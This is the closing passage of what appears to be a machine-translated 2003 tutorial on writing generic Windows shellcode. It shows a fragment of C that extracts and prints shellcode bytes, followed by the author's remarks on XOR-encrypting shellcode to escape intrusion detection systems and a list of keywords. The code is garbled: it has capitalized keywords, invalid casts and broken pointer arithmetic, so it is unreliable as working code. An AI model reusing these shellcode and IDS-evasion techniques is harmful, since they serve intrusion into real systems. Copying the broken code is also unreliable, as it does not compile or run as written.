n}; / ntotal% D Bytes / R / N", X 1); } Int main (void) { UNSIGNED Char * P = shellcodefun; Unsigned int K = 0; IF (* p == 0xe9) { K = * (unsigned int *) ( P); (int) p = k; (int) P = 4; } PRINTSC (P); Aboutme (); Getch (); } / Note I here I have no demonstration of shellcode encryption technology, and now shellcode encryption is mostly the operation of XOR, basically relatively simple. However, in order to escape the "intrusion detection system", I should use a better encryption method, I think there will be some relevant technical articles in the future! OK! I have already demonstrated so much, I think your gain is not small! As the saying goes, "Master", practice in individual, "Shellcode's most critical Technology We have already mastered, as for how to achieve a feature-rich shellcode, look at your own development technology and experience! -------------------------------------------------- ------------------------------------------------ At last When I first study shellcode, I was worried about the Shellcode tutorial that could be introduced to beginners, so I was completed in me. After learning, PE and KERNEL32 address, I immediately wrote this article, I hope to help the majority of beginners! See you to go to Christmas, Yellow Here, everyone is happy Christmas, always happy, always young! May China's security technology is on the first floor! 4, reference information. 5, keyword: General shellcode, hacker programming technology, PE extraction table, kernel32.dll address, structured exception handling, SEH, overflow, Overflow, China Security Net Yellow from Www.safechina.net December 21, 2003 .